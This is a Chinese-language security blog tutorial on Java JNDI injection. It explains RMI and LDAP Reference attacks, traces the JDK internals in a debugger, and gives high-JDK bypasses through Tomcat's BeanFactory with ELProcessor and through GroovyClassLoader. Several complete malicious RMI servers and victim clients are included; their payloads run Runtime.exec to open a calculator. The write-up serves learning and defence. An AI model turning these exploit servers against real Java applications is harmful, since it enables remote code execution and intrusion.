Java JNDI注入

Java安全

基本概念

Java的JNDI(Java Naming and Directory Interface)是一种标准API,可用于访问和管理分布式应用程序中的命名和目录服务。

JNDI为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。

通过JNDI,Java应用程序可以:

  1. 查找和获取命名对象,例如数据库连接、远程对象和配置信息。
  2. 将对象绑定到名称下,并使用这些名称来查找对象。
  3. 访问基于目录的服务,例如LDAP(Lightweight Directory Access Protocol)或者 DNS(Domain Name System)服务。
  4. 实现自定义的命名代理,并且根据需要将其集成进JNDI体系结构中。

JNDI主要支持:DNS、RMI、LDAP、CORBA等服务,JNDI类似一组API接口,每个对象都有一组名字和对象绑定关系,通过查找名字即可检索到相关的对象。

image-20230726154118012

名词解释

Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

Naming

命名服务是一种键值对的绑定,使应用程序可以通过键检索值。

Directory

目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。

JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问如LDAP这样的目录服务,定位网络上的EJB组件。

ObjectFactory

Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,如Java中的对象或Java中的基本数据类型。每一个Service Provider可能配有多个Object Factory。

影响版本

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u141之前版本
6u211之前版本
7u201之前版本
7u131之前版本
8u121之前版本
8u191之前版本
JDK11.0.1之前版本
RMI 6u45之前版本
6u141之前版本
6u211之前版本
7u21之前版本
7u131之前版本
7u201之前版本
8u121之前版本
8u191之前版本

JNDI注入

RMI Reference攻击

对照影响版本,在影响版本JDK6、JDK7、JDK8的这些之后的版本,默认将下面两个属性设置为false,将不能再被利用,被设置了其如下的属性,想要修改属性必须设置其系统属性

com.sun.jndi.rmi.object.trustURLCodebase

java.rmi.server.useCodebaseOnly

com.sun.jndi.cosnaming.object.trustURLCodebase

image-20230726165111776

恶意服务端代码如下:

package JNDIResearch;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        Registry registry = LocateRegistry.createRegistry(1099);
        // Reference类构建一个远程引用对象,该引用对象类名为exp,类工厂名为exp,类工厂位置为 http://127.0.0.1:8080/
        Reference reference = new Reference("exp","exp","http://127.0.0.1:8080/");
        initialContext.bind("rmi://127.0.0.1:1099/exp",reference);
    }
}

受害者服务端 lookup 参数可控导致可以查找恶意服务RMI

package JNDIResearch;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:1099/exp");
    }
}

编写一个exp.java程序用于弹出计算器,将该程序进行编译,再在当前目录下开启一个web服务

image-20230529112638770

image-20230529112803206

image-20230729173242148

最后成功通过RMI Reference实现JNDI注入,执行恶意代码

RMI Reference攻击利用分析

image-20230729164801548

分别在上面两行打上断点,先看一下Reference类引用对象的实例化做了什么,再看重点 bind 方法

image-20230729164335295

实例化Reference远程引用对象,这里没什么需要注意看的,就只是创建了一个Reference类的引用对象,分别给类名、类工厂名、类工厂位置进行了赋值

image-20230729164937987

这里需要重点关注的入口是 bind 方法,跟进看一下

image-20230729165103467

image-20230729165217204

image-20230729165320143

这里将 Reference 引用对象和类名 exp 作为 encodeObject 方法的参数并调用,跟进去看一下

image-20230729165508034

这里将前面实例化的Reference类型对象进行实例化 ReferenceWrapper 类型对象

image-20230729165828284

到了这里 bind 方法就结束了,已经将 ReferenceWrapper 类型的引用对象绑定到RMI注册表中指定名称 exp 上,恶意服务端的RMI指定名称上已经绑定了我们的恶意代码引用对象

image-20230729170043052

在受害者服务端这边,让其查找我们的恶意RMI服务,跟进lookup方法往下看

image-20230721112603698

image-20230721112608403

image-20230721112612967

这里使用RMI查找绑定指定名称 exp 的远程对象

image-20230721112849899

这里调用了 decodeObject 方法,因为在恶意服务端那边将默认的Reference进行了 encodeObject 方法之后返回了 ReferenceWrapper 类型引用对象,所以这边需要调用 decodeObject 方法获取原来的 Reference 类型引用对象。

image-20230721120316767

这里将 ReferenceWrapper 类型引用对象变量 r 强转为 RemoteReference 类型远程引用对象并调用 getReference 获取 Reference 类型引用对象,又变回在恶意服务端那边的 Reference 对象

image-20230721123730301

这里调用了 NamingManager 类的 getObjectInstance 静态方法,跳到了 NamingManager 类中,继续跟进

image-20230721123748629

这里获取的是一个为null值的ObjectFactoryBuilder对象

image-20230721123850199

这里将传入参数 refInfoReference 类型引用对象赋值给了ref变量

image-20230721123944703

这里从 Reference 类型引用对象中获取指定类的对象工厂,跟进看一下

image-20230721124009198

这里进行了类加载操作,是从本地查找 exp

image-20230721124025125

这里使用的加载器是 AppClassLoaderAppClassLoader 会加载当前应用程序所在的类路径下的类,包括应用程序的类和第三方库的类,那肯定是找不到这个 exp 类的

image-20230721124058793

来到这里,获取了 Reference 类型引用对象的类工厂位置,就是前面的远程地址 http://127.0.0.1:8080/

image-20230721124124438

这里使用 URLClassLoader 加载器实例化对象获得一个 FactoryClassLoader 加载器

image-20230721124220031

最后使用 FactoryURLClassLoader 加载器远程加载了 exp 类,这个时候就请求了 http://127.0.0.1:8080/exp.class 地址了

image-20230721124242551

通过 FactoryURLClassLoader 加载到了 exp 类后,实例化了 exp 类,在我们写的恶意代码 exp.java 中在无参构造方法写入了执行命令弹出计算器

image-20230721124628862

在实例化对象时,会默认调用无参的构造方法,最终成功使用RMI Reference执行命令

LDAP Reference攻击

上面,我们使用RMI Reference进行了远程加载恶意类,但是仅限于JDK8u121以下版本,在8u121及以后版本针对了对RMI远程加载的漏洞修复

image-20230721155820497

在JDK8u121及以后版本,在RMI相关操作上增加了 trustURLCodebase 系统属性,该属性值默认为 false,要想修改必须设置系统属性,这样上面的例子就不能进行远程加载恶意代码了。

但是修复了RMI上的远程加载问题,LDAP还没有解决,在上面我们分析RMI Reference利用时发现,真正的远程加载其实是在 NamingManagergetObjectInstance 的方法中,在这之前不过只是对远程引用对象处理,不是只有RMI才可以绑定引用对象,LDAP一样可以,官方当时没有在JDK8u121版本对LDAP进行修复,这样就绕过了上面的修复方式

受害者服务端使用 ldap 协议

package JNDIResearch;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDILDAPClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com");
    }
}

这里创建LDAP服务使用Apache Directory Studio软件进行创建,该软件需要在JDK11版本使用,JDK8和JDK17版本可能会出现问题。不想使用这种方式也可以使用 JNDIExploitmarshalsec 等工具生成一个LDAP服务

image-20230721160852000

image-20230721160921135

image-20230721160937824

image-20230721161050404

点击创建一个连接

image-20230721161429968

image-20230721161451965

image-20230721161530244

选择 javaContainerjavaNamingReferencejavaObjecttop

image-20230721161605364

image-20230721161736310

填写好对应类名、代码库地址、类工厂名即可

image-20230724122828696

在受害者服务端运行代码即可执行恶意代码

LDAP Reference攻击利用分析

image-20230724142910358

在受害者服务端的 lookup 上打断点调试即可

image-20230724142917461

image-20230724142921628

这里调用了该类的父类的 lookup 方法

image-20230724143003235

这里上面RMI利用类似,获取URL上下文并获取解析后的对象强转成Context类型的对象

image-20230724143021723

image-20230724143026094

image-20230724143049941

image-20230724143126319

在这里获取到了LDAP服务上的属性,也就是我们在LDAP加的那几个属性

image-20230724143205717

这里判断LDAP服务属性中有没有 javaclassname 属性

image-20230724143217602

这里都是获取属性的操作,没有设置这些属性,下面的判断都不符合

image-20230724143534397

将LDAP属性和代码库位置作为参数调用了 decodeReference 方法

image-20230724143540282

这里获取到了类名和类工厂名,随后将类名和工厂名作为参数实例化 Reference 类型引用对象

image-20230724143902961

image-20230724143907294

由于后面没有符合条件,就返回了这个引用对象

image-20230724143917738

此时,变量 obj 就是一个 Reference 类型引用对象

image-20230724143939135

再往下走,发现调用了 DirectoryManager.getObjectInstance 静态方法,继续跟进看一下

image-20230724143956070

这里感觉似曾相识,和上面RMI利用那一块很像

image-20230724144009497

从引用对象中获取类工厂名,然后再从引用对象中获取工厂对象,再跟进

image-20230724144106252

这里进行了类加载,跟进看一下

image-20230724144125649

这里使用了AppClassLoader查找类进行加载,当然是没有的

image-20230724144134591

再到这里获取了代码库的地址,尝试远程加载代码库中的类工厂

image-20230724144151054

这里就获得了一个 FactoryURLClassLoader 加载器,再使用这个加载器远程加载类

image-20230724144202827

这里对加载到的类进行实例化,即实例化了恶意类

image-20230724144232760

最后,成功使用LDAP Reference绕过执行恶意代码

高版本JDK绕过

在JDK6u211、7u201、8u191、11.0.1版本及以后,默认将 com.sun.jndi.ldap.object.trustURLCodebase 选项设置为false

但不管怎么禁止,我们还是可以通过本地的 Factory 类执行命令,在上面我们知道,真正在执行命令的地方其实是在调用 getObjectInstance() 方法的时候,使用RMI时调用的是 NamingManager.getObjectInstance() 方法,使用LDAP时使用的是 DirectoryManager.getObjectInstance() 方法

这两个 getObjectInstance() 方法有个共同点,都会从引用对象中获取一个对象工厂,而这个对象工厂只需要可以实例化类并调用方法,且类名、属性、属性值等参数都来自于 Reference 类型引用对象,是我们可控即可。而我们要利用的 Factory 类必须实现了 javax.naming.spi.ObjectFactory 接口,并且实现该接口的 getObjectInstance() 方法

根据上面的条件,找到了 org.apache.naming.factory.BeanFactory 类,这个类符合上面的条件,在Tomcat依赖包中。该类 getObjectInstance() 方法通过反射实例化Reference引用对象指向的类,调用setter方法。

依赖项:

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>8.5.58</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.58</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper-el</artifactId>
    <version>8.5.58</version>
</dependency>

恶意服务端代码如下:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIBypassServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry( 1099);
        // 实例化ResourceRef资源引用对象,指定资源类名为javax.el.ELProcessor,资源工厂类名为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // 在资源引用对象中添加一个字符串类型引用地址,传递引用类型和引用值参数
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("exp", referenceWrapper);
    }
}

受害者服务端如下:

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.net.MalformedURLException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class JNDIBypassClient {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:1099/exp");
    }
}

image-20230726121348810

高版本JDK绕过利用分析

image-20230726125232412

image-20230726125235958

image-20230726125240263

这里其实也没什么好讲的了,最终要在RMI服务上查找指定名称

image-20230726125244227

这里获取了一个 ReferenceWrapper 类型引用对象,和前面讲过的一样,需要调用decodeObject 方法来返回一个 Reference 类型引用对象,继续跟进

image-20230726125652700

这里的操作和前面讲的都差不多,不再过多解释

image-20230726125702357

来到这里,调用 NamingManager.getObjectInstance() 静态方法

image-20230726125711198

image-20230726125715042

这里就真正的调用了 org.apache.naming.factory.BeanFactory 类的 getObjectInstance()静态方法,继续跟进看一下

image-20230726125737154

这里的变量 obj 就是一个 ResourceRef 资源引用对象

image-20230726125751587

通过 AppClassLoader 加载器加载了 javax.el.ELProcessor

image-20230726125808701

这里通过反射获取上面的加载到的 javax.el.ELProcessor 的构造器进行实例化,获取了一个 javax.el.ELProcessor 对象

image-20230726125827403

这里的操作其实就是获取了引用对象的 forceString 引用类型的值,也就是 x=eval,这里用逗号分隔成数组,应该是可以使用逗号传递多个引用值的,这里只有一个,然后就是获取了 = 这个字符出现的位置

image-20230726125853209

再往下,就是获取了 = 字符前面和后面的字符串,分别是eval和x,forced是个HashMap类型的,把x作为键,通过反射获取 javax.el.ELProcessor 的eval方法作为值添加进去

image-20230726130038822

image-20230726130042945

这里获取了引用对象中的所有引用地址

image-20230726130054099

image-20230726130059138

再继续往下就是一直循环判断引用类型是否匹配,匹配的话就跳出循环进行下一次循环,否则继续往下执行。直到遍历到x引用类型,不匹配,则往下执行

image-20230726130123814

获取了x引用类型的引用值后,又获取了在上面forced的x键值,也就是eval方法

在211行真正的进行了方法调用,变量 bean 就是 javax.el.ELProcessor 实例化的对象,valueArray则是x引用地址的引用值,也就是需要执行的恶意命令,通过反射进行了方法调用

image-20230726130158478

最后,调用后成功执行了我们恶意服务端上的代码

高版本其他绕过方式

除了上面的 ELProcessor 的方式绕过,还有其他的方法,这里就不再做调试分析了,原理都大差不差

GroovyClassLoader

依赖:

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>2.4.5</version>
</dependency>

恶意服务端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIGroovyServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        resourceRef.add(new StringRefAddr("forceString", "x=parseClass"));
        String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec" +
                "(\"%s\")\n})\ndef x\n", "open -a Calculator.app");
        resourceRef.add(new StringRefAddr("x",script));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("exp", referenceWrapper);
    }
}

受害者服务端:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIGroovyClient {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:1099/exp");
    }
}

image-20230727130645586

参考链接

https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/ 浅析JNDI注入 [ Mi1k7ea ]

https://xz.aliyun.com/t/10671 高版本JDK下的JNDI注入浅析 - 先知社区

https://tttang.com/archive/1405 探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖

Author: wileysec

Permalink: https://wileysec.github.io/eb4dd4b8a731.html

Comments